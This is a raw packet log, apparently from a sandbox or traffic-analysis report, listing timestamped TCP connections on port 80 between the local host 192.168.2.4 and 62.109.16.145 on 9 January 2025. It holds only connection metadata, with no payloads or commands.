Jan 9, 2025 04:14:42.454632998 CET	80	50194	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.488779068 CET	80	50192	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.488831997 CET	50192	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.718147993 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.794650078 CET	50194	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.799483061 CET	80	50194	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:42.842703104 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:42.845786095 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.013196945 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.133780956 CET	80	50194	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.264173031 CET	80	50194	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.264261007 CET	50194	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.383207083 CET	50194	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.383207083 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.383585930 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.388283014 CET	80	50194	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.388371944 CET	50194	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.388397932 CET	80	50195	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.388567924 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.388657093 CET	80	50193	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.388740063 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.388793945 CET	50193	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.393563032 CET	80	50195	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:43.747685909 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:43.752506018 CET	80	50195	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:44.073870897 CET	80	50195	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:44.122545958 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.201714039 CET	80	50195	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:44.201919079 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.207385063 CET	80	50195	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:44.207524061 CET	50195	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.326556921 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.331463099 CET	80	50196	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:44.331549883 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.331635952 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.336400032 CET	80	50196	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:44.685120106 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:44.690016985 CET	80	50196	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:45.027910948 CET	80	50196	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:45.161463022 CET	80	50196	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:45.168301105 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.344002962 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.344435930 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.349056005 CET	80	50196	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:45.349260092 CET	80	50197	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:45.349467039 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.349474907 CET	50196	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.349658966 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.354490042 CET	80	50197	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:45.704303980 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:45.709441900 CET	80	50197	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:46.035835028 CET	80	50197	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:46.075676918 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.171741009 CET	80	50197	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:46.216304064 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.292531013 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.292864084 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.297581911 CET	80	50197	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:46.297642946 CET	50197	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.297775030 CET	80	50198	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:46.297844887 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.297987938 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.302855015 CET	80	50198	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:46.653943062 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:46.658873081 CET	80	50198	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.007483959 CET	80	50198	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.060065985 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.147382975 CET	80	50198	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.200687885 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.279087067 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.279757977 CET	50199	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.284014940 CET	80	50198	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.284399986 CET	50198	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.284585953 CET	80	50199	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.284804106 CET	50199	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.286689043 CET	50199	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.291522980 CET	80	50199	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.638272047 CET	50199	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.643150091 CET	80	50199	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.889834881 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.889837980 CET	50199	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.894912958 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.895210028 CET	80	50199	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:47.895278931 CET	50199	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.896193027 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.896389961 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:47.901225090 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.250252962 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.255213022 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.255321026 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.340542078 CET	50145	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.345899105 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.350720882 CET	80	50201	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.350822926 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.350967884 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.355798006 CET	80	50201	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.587990999 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.638183117 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.700906992 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:48.705816984 CET	80	50201	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.717705965 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:48.763191938 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.050826073 CET	80	50201	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:49.124975920 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.179794073 CET	80	50201	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:49.305315018 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.305324078 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.305695057 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.310467005 CET	80	50201	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:49.310486078 CET	80	50202	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:49.310547113 CET	80	50200	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:49.310570955 CET	50201	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.310580015 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.310664892 CET	50200	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.310693026 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.315428972 CET	80	50202	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:49.669589996 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:49.674642086 CET	80	50202	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.058469057 CET	80	50202	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.189531088 CET	80	50202	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.189594030 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.189740896 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.194669962 CET	80	50202	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.194731951 CET	50202	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.308254957 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.313095093 CET	80	50203	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.313178062 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.313303947 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.318099022 CET	80	50203	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.700978041 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:50.705888987 CET	80	50203	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:50.999691963 CET	80	50203	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:51.048314095 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.131722927 CET	80	50203	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:51.185070038 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.258347034 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.258708954 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.263358116 CET	80	50203	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:51.263521910 CET	80	50204	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:51.263544083 CET	50203	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.263601065 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.263719082 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.268466949 CET	80	50204	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:51.622662067 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:51.627604008 CET	80	50204	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:51.950138092 CET	80	50204	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.055150986 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.079441071 CET	80	50204	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.195099115 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.200160980 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.200408936 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.205156088 CET	80	50204	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.205200911 CET	50204	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.205244064 CET	80	50205	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.205307961 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.205487967 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.210239887 CET	80	50205	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.560324907 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:52.565159082 CET	80	50205	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.907968044 CET	80	50205	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:52.952325106 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.045847893 CET	80	50205	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.092324972 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.165673018 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.166359901 CET	50206	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.170733929 CET	80	50205	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.170809984 CET	50205	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.171209097 CET	80	50206	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.171339035 CET	50206	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.171547890 CET	50206	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.176383972 CET	80	50206	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.565139055 CET	50206	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.570054054 CET	80	50206	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.737631083 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.738737106 CET	50206	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.742439032 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.743627071 CET	80	50206	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:53.744379044 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.744396925 CET	50206	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.787868023 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:53.792695999 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.013024092 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.018713951 CET	80	50208	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.018769979 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.018991947 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.023984909 CET	80	50208	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.139781952 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.144689083 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.144802094 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.372786999 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.377641916 CET	80	50208	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.453253984 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.585628986 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.587354898 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.686072111 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.707128048 CET	80	50208	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.799907923 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.837783098 CET	80	50208	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.904330015 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.962202072 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.962208033 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.962212086 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.967072964 CET	80	50209	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.967251062 CET	80	50208	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.967542887 CET	80	50207	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:54.968414068 CET	50207	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.968417883 CET	50208	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.968417883 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.972333908 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:54.977082014 CET	80	50209	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:55.325815916 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:55.330636024 CET	80	50209	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:55.673940897 CET	80	50209	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:55.716332912 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:55.803877115 CET	80	50209	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:55.860337973 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:55.934739113 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:55.939560890 CET	80	50210	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:55.939618111 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:55.939723969 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:55.944493055 CET	80	50210	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:56.294632912 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.299418926 CET	80	50210	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:56.613413095 CET	80	50210	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:56.653851986 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.741157055 CET	80	50210	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:56.794465065 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.901515007 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.902523994 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.906526089 CET	80	50210	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:56.906569958 CET	50210	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.907382011 CET	80	50211	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:56.907435894 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.907547951 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:56.912384987 CET	80	50211	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:57.263288975 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.271984100 CET	80	50211	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:57.609327078 CET	80	50211	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:57.740320921 CET	80	50211	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:57.740402937 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.851978064 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.851977110 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.856821060 CET	80	50212	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:57.856892109 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.857065916 CET	80	50211	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:57.857116938 CET	50211	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.857187033 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:57.861991882 CET	80	50212	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:58.216737032 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.221935034 CET	80	50212	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:58.533380985 CET	80	50212	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:58.575730085 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.661761999 CET	80	50212	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:58.716372013 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.777810097 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.778055906 CET	50213	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.783230066 CET	80	50213	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:58.783302069 CET	50213	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.783394098 CET	80	50212	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:58.783396959 CET	50213	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.783504009 CET	50212	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:58.790971041 CET	80	50213	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.140345097 CET	50213	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.145160913 CET	80	50213	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.490771055 CET	80	50213	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.592104912 CET	50213	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.592134953 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.596934080 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.597121000 CET	80	50213	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.597191095 CET	50213	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.597196102 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.598884106 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.603709936 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.710927010 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.715723038 CET	80	50215	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.715861082 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.716031075 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.720813036 CET	80	50215	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.950994015 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:14:59.955861092 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:14:59.955982924 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.060259104 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.065071106 CET	80	50215	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.288098097 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.383388042 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.415550947 CET	80	50215	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.417629004 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.466403008 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.507174969 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.548783064 CET	80	50215	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.591342926 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.668344975 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.668409109 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.668761015 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.674551964 CET	80	50214	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.674565077 CET	80	50216	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.674580097 CET	80	50215	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.674602032 CET	50214	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.674649000 CET	50215	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.674663067 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.674777985 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:00.679467916 CET	80	50216	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.684876919 CET	80	50209	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:00.684926987 CET	50209	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.032351971 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.037178993 CET	80	50216	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:01.361282110 CET	80	50216	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:01.491554976 CET	80	50216	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:01.491652966 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.491847038 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.497107029 CET	80	50216	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:01.500453949 CET	50216	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.620349884 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.625313044 CET	80	50217	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:01.628432035 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.628628016 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.633409977 CET	80	50217	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:01.984690905 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:01.989538908 CET	80	50217	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:02.320529938 CET	80	50217	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:02.372652054 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.450560093 CET	80	50217	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:02.571908951 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.572145939 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.577064037 CET	80	50218	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:02.577075005 CET	80	50217	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:02.577127934 CET	50217	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.577167034 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.577322960 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.582056999 CET	80	50218	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:02.935184002 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:02.940083981 CET	80	50218	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:03.276397943 CET	80	50218	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:03.405215025 CET	80	50218	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:03.405325890 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.525022030 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.525309086 CET	50219	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.530033112 CET	80	50218	62.109.16.145	192.168.2.4
Jan 9, 2025 04:15:03.530097961 CET	50218	80	192.168.2.4	62.109.16.145
Jan 9, 2025 04:15:03.530154943 CET	80	50219	62.109.16.145	192.168.2.4
